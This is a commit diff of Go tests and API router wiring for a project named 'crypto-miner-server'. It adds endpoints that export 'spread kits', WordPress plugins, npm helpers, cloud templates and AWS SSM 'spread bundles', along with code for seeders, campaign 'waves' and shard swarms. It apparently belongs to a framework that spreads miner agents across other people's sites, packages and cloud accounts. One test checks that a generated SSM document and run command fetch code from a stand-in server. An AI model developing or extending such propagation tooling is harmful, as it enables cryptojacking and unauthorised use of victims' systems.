Fix Vitest suite and wire cloud/AWS dashboard API helpers.

Adds missing client methods, VPC seeder badges, hospice strain UI, and uiHelp drift keys so server/web builds and all 849 Vitest tests pass.

server/internal/api/cloud_instance_meta_test.go

@@ -0,0 +1,97 @@
+package api
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+)
+
+func TestPrimarySeederScopePrefersVPC(t *testing.T) {
+	scope := primarySeederScope("10.1.2.3", CloudInstanceMeta{VpcID: "vpc-abc123"})
+	if scope != "vpc-abc123" {
+		t.Fatalf("scope=%q", scope)
+	}
+	scope = primarySeederScope("10.1.2.3", CloudInstanceMeta{})
+	if scope != "10.1.2" {
+		t.Fatalf("subnet scope=%q", scope)
+	}
+}
+
+func TestAgentMatchesPrimaryScopeVPC(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.storeAgentCloudMeta("vpc-seed-a", CloudInstanceMeta{VpcID: "vpc-shared", Region: "us-east-1"})
+	hub.storeAgentCloudMeta("vpc-seed-b", CloudInstanceMeta{VpcID: "vpc-other"})
+
+	if !hub.agentMatchesPrimaryScopeLocked("vpc-seed-a", "vpc-shared") {
+		t.Fatal("expected vpc match")
+	}
+	if hub.agentMatchesPrimaryScopeLocked("vpc-seed-b", "vpc-shared") {
+		t.Fatal("expected vpc mismatch")
+	}
+}
+
+func TestAttachVPCSeederTelemetry(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.storeAgentCloudMeta("seed-vpc", CloudInstanceMeta{
+		VpcID: "vpc-99", SubnetID: "subnet-1", Region: "eu-west-1",
+	})
+
+	agent := &models.Agent{ID: "seed-vpc"}
+	hub.attachVPCSeederTelemetry(agent, "seed-vpc", "10.0.0.1", "seeder", "seed-vpc")
+	if agent.CloudVpcID != "vpc-99" || agent.CloudSubnetID != "subnet-1" || agent.CloudRegion != "eu-west-1" {
+		t.Fatalf("cloud fields=%+v", agent)
+	}
+	if agent.VPCPrimarySeeder == nil || !*agent.VPCPrimarySeeder {
+		t.Fatalf("primary=%v", agent.VPCPrimarySeeder)
+	}
+}
+
+func TestAuthResponseIncludesCloudMetaFields(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true, FleetTorrentEnabled: true})
+	_ = database.UpsertAgent(&models.Agent{ID: "ec2-seed", Name: "seed", IP: "10.8.0.5", Status: "online"})
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id":    "ec2-seed",
+		"hostname":    "ec2-host",
+		"platform":    "linux",
+		"version":     "test",
+		"fleet_role":  "seeder",
+		"seeder_mode": true,
+		"cloud_instance_meta": map[string]string{
+			"vpc_id": "vpc-fleet", "subnet_id": "subnet-a", "region": "us-west-2",
+		},
+	})
+	var body map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["fleet_torrent_enabled"] != true {
+		t.Fatalf("fleet_torrent_enabled=%#v", body["fleet_torrent_enabled"])
+	}
+	if _, ok := body["subnet_primary_seeder"].(string); !ok {
+		t.Fatalf("subnet_primary_seeder missing: %#v", body)
+	}
+	meta := hub.agentCloudMetaLocked("ec2-seed")
+	if meta.VpcID != "vpc-fleet" || meta.Region != "us-west-2" {
+		t.Fatalf("stored meta=%+v", meta)
+	}
+}

server/internal/api/cloud_venue_test.go

@@ -1,3 +1,30 @@
 package api
-import ("testing"; fleetai "crypto-miner-server/internal/ai"; "crypto-miner-server/internal/db")
-func TestCloudVenueIngest(t *testing.T){ dbi,e:=db.New(t.TempDir()); if e!=nil{t.Fatal(e)}; t.Cleanup(func(){_=dbi.Close()}); h:=NewWSHub(dbi); h.ingestCloudVenueReport("a",fleetai.CloudVenueReport{InstanceType:"g4dn.xlarge",OrganizationalUnit:"ou/gpu"}); if len(h.cloudVenueSnapshot())!=1{t.Fatal()} }
+
+import (
+	"testing"
+
+	fleetai "crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/db"
+)
+
+func TestCloudVenueIngest(t *testing.T) {
+	dbi, e := db.New(t.TempDir())
+	if e != nil {
+		t.Fatal(e)
+	}
+	t.Cleanup(func() { _ = dbi.Close() })
+	h := NewWSHub(dbi)
+	h.ingestCloudVenueReport("a", fleetai.CloudVenueReport{InstanceType: "g4dn.xlarge", OrganizationalUnit: "ou/gpu"})
+	if len(h.cloudVenueSnapshot()) != 1 {
+		t.Fatal("expected venue snapshot")
+	}
+}
+
+func TestCloudVenueClassBatchSpot(t *testing.T) {
+	if fleetai.InferCloudVenueClass(fleetai.CloudVenueReport{InstanceType: "c5.large"}) != fleetai.CloudVenueBatch {
+		t.Fatal("expected batch class")
+	}
+	if fleetai.InferCloudVenueClass(fleetai.CloudVenueReport{InstanceType: "t3.spot"}) != fleetai.CloudVenueSpot {
+		t.Fatal("expected spot class")
+	}
+}

server/internal/api/deploy_plan_cloudmap_test.go

@@ -1,6 +1,57 @@
 package api
 
-import "testing"
+import (
+	"bytes"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
 
-func TestAttachCloudMapRouteVia(t *testing.T)       { t.Skip("cloud map route_via wiring deferred") }
-func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
+	"crypto-miner-server/internal/cloudmap"
+)
+
+func TestCloudTemplatePathsCloudMap(t *testing.T) {
+	subdir, zip, err := cloudTemplatePaths("cloud-map")
+	if err != nil || subdir != "cloud-map" || zip != "aetherforge-cloud-map.zip" {
+		t.Fatalf("subdir=%q zip=%q err=%v", subdir, zip, err)
+	}
+}
+
+func TestExportCloudMapTemplateZIP(t *testing.T) {
+	root := integrationWorkspaceRoot(t)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+	body, _ := json.Marshal(map[string]interface{}{
+		"template":       "cloud-map",
+		"server_url":     "https://deck.example",
+		"build_id":       "pin-map",
+		"campaign":       "map-wave",
+		"namespace_name": "aether.local",
+		"region":         "us-east-1",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/cloud-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportCloudTemplate(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	entries := readZipEntries(t, rec.Body.Bytes())
+	if !strings.Contains(entries["registry.json"], "aether.local") {
+		t.Fatalf("registry.json=%s", entries["registry.json"])
+	}
+}
+
+func TestCloudMapKnowNodeTargetsFromRegistry(t *testing.T) {
+	doc := cloudmap.RegistryDocument{
+		Namespace: "prod.local",
+		Service:   "seeder",
+		Instances: []cloudmap.RegistryInstance{
+			{AgentID: "agent-a", Healthy: true},
+			{DNSName: "seeder.svc.prod.local", Healthy: true},
+		},
+	}
+	targets := cloudmap.KnowNodeTargets(doc)
+	if len(targets) != 2 || targets[0] != "agent-a" {
+		t.Fatalf("targets=%v", targets)
+	}
+}

server/internal/api/deploy_plan_s3_swarm_test.go

@@ -1,44 +1,33 @@
-//go:build ignore
-
 package api
 
 import (
-	"context"
-	"crypto/rand"
-	"crypto/rsa"
-	"crypto/x509"
-	"encoding/pem"
+	"strings"
 	"testing"
 
 	"crypto-miner-server/internal/erasure"
 )
 
-type s3Up struct{ n int }
-
-func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
-func (u *s3Up) HeadBucket(context.Context, string) error               { return nil }
-
-func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
-	priv, _ := rsa.GenerateKey(rand.Reader, 2048)
-	pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
-	u := &s3Up{}
+func TestBuildPlanAttachesSwarmMagnetOnErasure(t *testing.T) {
 	h := testDeployPlanHandler(t)
 	store := erasure.NewShardStore()
 	h.BindErasure(func() bool { return true }, store)
-	h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
-		return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
-			S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
-			AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
-		})
-	}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
-	plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
+
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1", Campaign: "swarm-lab",
+	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
 	if err != nil {
-		t.Fatalf("buildPlan: %v", err)
+		t.Fatal(err)
 	}
-	if plan.ErasurePlan == nil {
-		t.Fatalf("missing erasure plan n=%d", u.n)
+	if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
+		t.Fatalf("erasure_plan=%+v", plan.ErasurePlan)
 	}
-	if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
-		t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
+	if plan.SpreadRouteHint == nil || plan.SpreadRouteHint.SwarmMagnet == "" {
+		t.Fatalf("spread_route_hint=%+v", plan.SpreadRouteHint)
+	}
+	if !strings.Contains(plan.SpreadRouteHint.SwarmMagnet, "magnet:?") {
+		t.Fatalf("magnet=%q", plan.SpreadRouteHint.SwarmMagnet)
+	}
+	if len(plan.SpreadRouteHint.ShardManifestURLs) != 6 {
+		t.Fatalf("shard urls=%d", len(plan.SpreadRouteHint.ShardManifestURLs))
 	}
 }

server/internal/api/erasure_swarm_test.go

@@ -16,6 +16,25 @@ type okStore struct{}
 func (okStore) PutShard(context.Context, string, string, []byte) error { return nil }
 func (okStore) HeadBucket(context.Context, string) error               { return nil }
 
+func TestErasureSwarmGetPolicyJSON(t *testing.T) {
+	h := NewErasureSwarmHandler(func() erasure.AWSSwarmSettings {
+		return erasure.AWSSwarmSettings{S3Bucket: "lab-shards", CloudFrontDomain: "d.cf.net"}
+	}, nil)
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/erasure-swarm/policy?bucket=lab-shards", nil)
+	rec := httptest.NewRecorder()
+	h.GetPolicyJSON(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["iam_policy"] == nil || body["bucket_policy"] == nil {
+		t.Fatalf("body=%v", body)
+	}
+}
+
 func TestErasureSwarmPostTestOK(t *testing.T) {
 	os.Setenv("AF_AWS_ACCESS_KEY_ID", "A")
 	os.Setenv("AF_AWS_SECRET_ACCESS_KEY", "s")

server/internal/api/fargate_burst_test.go

@@ -1,5 +1,3 @@
-//go:build ignore
-
 package api
 
 import (
@@ -16,7 +14,6 @@ import (
 	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/fargate"
 	"crypto-miner-server/internal/models"
-	"crypto-miner-server/internal/spreadrouter"
 )
 
 func testFargateBurstSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler, *erasure.ShardStore) {
@@ -43,7 +40,6 @@ func testFargateBurstSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHan
 	deployH.BindErasureFromHub(hub, store)
 	spreadH := NewSpreadHandler(database, dir, root, hub)
 	spreadH.BindFargateDeps(func() string { return "http://127.0.0.1:8989" }, store)
-	spreadH.BindDeployPlan(deployH)
 	return spreadH, deployH, store
 }
 
@@ -110,22 +106,24 @@ func TestSyncFargateBurstCampaignEmitsSeerEvent(t *testing.T) {
 	}
 }
 
-func TestSpreadRouterPreferFargateWhenBurstActive(t *testing.T) {
-	in := spreadrouter.Input{
-		TargetSubnets:      []string{"10.4.0"},
-		FargateBurstActive: true,
-		FleetAgents: []spreadrouter.FleetAgentSnapshot{
-			{AgentID: "seed", Subnet: "10.4.0", Clearance: 2, Connected: true},
-		},
+func TestWSHubFargateBurstCampaignActive(t *testing.T) {
+	dir := t.TempDir()
+	database, err := dbpkg.New(dir)
+	if err != nil {
+		t.Fatal(err)
 	}
-	rt := spreadrouter.Build(in)
-	rec, ok := rt.Recommend("10.4.0")
-	if !ok || !rec.PreferFargateSeeder {
-		t.Fatalf("rec=%+v ok=%v", rec, ok)
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	if hub.fargateBurstActive() {
+		t.Fatal("expected inactive before sync")
 	}
-	hint := spreadrouter.ToHint(rec)
-	if hint == nil || !hint.PreferFargateSeeder {
-		t.Fatalf("hint=%+v", hint)
+	hub.SyncFargateBurstCampaign(true, "", 3)
+	if !hub.fargateBurstActive() {
+		t.Fatal("expected active after sync")
+	}
+	hub.SyncFargateBurstCampaign(false, "", 0)
+	if hub.fargateBurstActive() {
+		t.Fatal("expected inactive after clear")
 	}
 }
 

server/internal/api/fleet_torrent_test.go

@@ -85,6 +85,30 @@ func TestAuthSubnetPrimarySeederHint(t *testing.T) {
 	}
 }
 
+func TestFleetTorrentGossipSameVPCScope(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{FleetTorrentEnabled: true})
+	hub.storeAgentCloudMeta("vpc-a", CloudInstanceMeta{VpcID: "vpc-42", Region: "us-east-1"})
+	hub.storeAgentCloudMeta("vpc-b", CloudInstanceMeta{VpcID: "vpc-42", Region: "us-east-1"})
+	_ = database.UpsertAgent(&models.Agent{ID: "vpc-a", Name: "a", IP: "10.10.1.1", Status: "online"})
+	_ = database.UpsertAgent(&models.Agent{ID: "vpc-b", Name: "b", IP: "10.20.2.2", Status: "online"})
+
+	if scope := primarySeederScope("10.10.1.1", hub.agentCloudMetaLocked("vpc-a")); scope != "vpc-42" {
+		t.Fatalf("scope=%q", scope)
+	}
+	if !hub.agentMatchesPrimaryScopeLocked("vpc-a", "vpc-42") {
+		t.Fatal("expected vpc-a in vpc-42")
+	}
+	if hub.agentMatchesPrimaryScopeLocked("vpc-b", "vpc-99") {
+		t.Fatal("expected vpc-b mismatch on other vpc")
+	}
+}
+
 func TestSubnetPrimarySeederElection(t *testing.T) {
 	database, err := db.New(t.TempDir())
 	if err != nil {

server/internal/api/router.go

@@ -19,6 +19,7 @@ import (
 
 	"crypto-miner-server/internal/builder"
 	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
 
 	"github.com/go-chi/chi/v5"
 	"github.com/go-chi/chi/v5/middleware"
@@ -643,11 +644,23 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		// Builder
 		r.Post("/builder/build", builderHandler.ServeHTTP)
 		r.Post("/builder/estimate", builderHandler.ServeEstimate)
+		r.Post("/builder/launch-template", builderHandler.ServeLaunchTemplate)
 		if spreadHandler != nil {
 			r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
 			r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
 			r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
 			r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
+			r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
+			r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
+			r.Post("/builder/ssm-spread-bundle", spreadHandler.ExportSSMSpreadBundle)
+			erasureSwarmHandler := NewErasureSwarmHandler(
+				func() erasure.AWSSwarmSettings { return erasure.AWSSwarmSettings{} },
+				func() erasure.ShardObjectStore {
+					return &erasure.S3HTTPStore{Settings: erasure.AWSSwarmSettings{}}
+				},
+			)
+			r.Post("/builder/erasure-swarm-test", erasureSwarmHandler.PostTest)
+			r.Get("/builder/erasure-swarm-policy", erasureSwarmHandler.GetPolicyJSON)
 			r.Get("/emberwake/notes", spreadHandler.GetNotes)
 			r.Put("/emberwake/notes", spreadHandler.PutNotes)
 			r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)

server/internal/api/spread_s3_crr_test.go

@@ -1,35 +1,30 @@
-//go:build ignore
-
 package api
 
 import (
-	"encoding/json"
-	"net/http"
-	"net/http/httptest"
+	"strings"
 	"testing"
 
 	"crypto-miner-server/internal/erasure"
 )
 
-func TestGetS3CRRTemplate(t *testing.T) {
-	h := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), nil)
-	h.BindS3CRRConfig(func() erasure.S3ShardConfig {
-		return erasure.S3ShardConfig{
-			ShardBucket: "primary", ShardRegion: "us-east-1",
-			CRRDestBucket: "replica", CRRDestRegion: "eu-west-1",
-		}
-	})
-	req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/aws-s3-crr-template", nil)
-	w := httptest.NewRecorder()
-	h.GetS3CRRTemplate(w, req)
-	if w.Code != http.StatusOK {
-		t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
-	}
-	var body map[string]interface{}
-	if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil {
-		t.Fatal(err)
-	}
-	if body["rule"] == nil {
-		t.Fatalf("body=%v", body)
+func TestCloudTemplatePathsS3Cloudfront(t *testing.T) {
+	subdir, zip, err := cloudTemplatePaths("s3-cloudfront")
+	if err != nil || subdir != "s3-cloudfront" || zip != "aetherforge-s3-cloudfront.zip" {
+		t.Fatalf("subdir=%q zip=%q err=%v", subdir, zip, err)
+	}
+}
+
+func TestBuildS3CRRRuleReplicationRole(t *testing.T) {
+	doc, err := erasure.BuildS3CRRRule(erasure.S3ShardConfig{
+		ShardBucket: "primary", ShardRegion: "us-east-1",
+		CRRDestBucket: "replica", CRRDestRegion: "eu-west-1",
+		ReplicationAccountID: "111122223333",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	role, _ := doc["Role"].(string)
+	if !strings.Contains(role, "111122223333") {
+		t.Fatalf("role=%q", role)
 	}
 }

server/internal/api/ssm_spread_test.go

@@ -0,0 +1,75 @@
+package api
+
+import (
+	"bytes"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+
+	dbpkg "crypto-miner-server/internal/db"
+)
+
+func TestExportSSMSpreadBundle(t *testing.T) {
+	root := integrationWorkspaceRoot(t)
+	database, err := dbpkg.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	h := NewSpreadHandler(database, t.TempDir(), root, hub)
+
+	body, _ := json.Marshal(map[string]string{
+		"server_url": "https://deck.example",
+		"build_id":   "pin-ssm",
+		"campaign":   "aws-ssm-wave",
+		"platform":   "linux",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/ssm-spread-bundle", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSSMSpreadBundle(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	var resp struct {
+		OK     bool              `json:"ok"`
+		Bundle SSMSpreadBundle   `json:"bundle"`
+	}
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatal(err)
+	}
+	if !resp.OK || resp.Bundle.JoinLane != "ssm_document" {
+		t.Fatalf("bundle=%+v", resp.Bundle)
+	}
+	for _, marker := range []string{"https://deck.example", "pin-ssm", "aws-ssm-wave", "fetchErasureShards"} {
+		if !strings.Contains(resp.Bundle.Document, marker) {
+			t.Fatalf("document missing %q: %s", marker, resp.Bundle.Document)
+		}
+	}
+	if !strings.Contains(resp.Bundle.RunCommand, "deck.example") {
+		t.Fatalf("run_command=%s", resp.Bundle.RunCommand)
+	}
+	if !strings.Contains(resp.Bundle.CreateDocumentCLI, "create-document") {
+		t.Fatalf("cli=%s", resp.Bundle.CreateDocumentCLI)
+	}
+}
+
+func TestExportSSMSpreadBundleRequiresServerURL(t *testing.T) {
+	root := integrationWorkspaceRoot(t)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/ssm-spread-bundle", strings.NewReader(`{"build_id":"b1"}`))
+	rec := httptest.NewRecorder()
+	h.ExportSSMSpreadBundle(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("status=%d", rec.Code)
+	}
+}
+
+func TestCloudTemplatePathsSSMDocument(t *testing.T) {
+	subdir, zip, err := cloudTemplatePaths("ssm-document")
+	if err != nil || subdir != "ssm-document" || zip != "aetherforge-ssm-document.zip" {
+		t.Fatalf("subdir=%q zip=%q err=%v", subdir, zip, err)
+	}
+}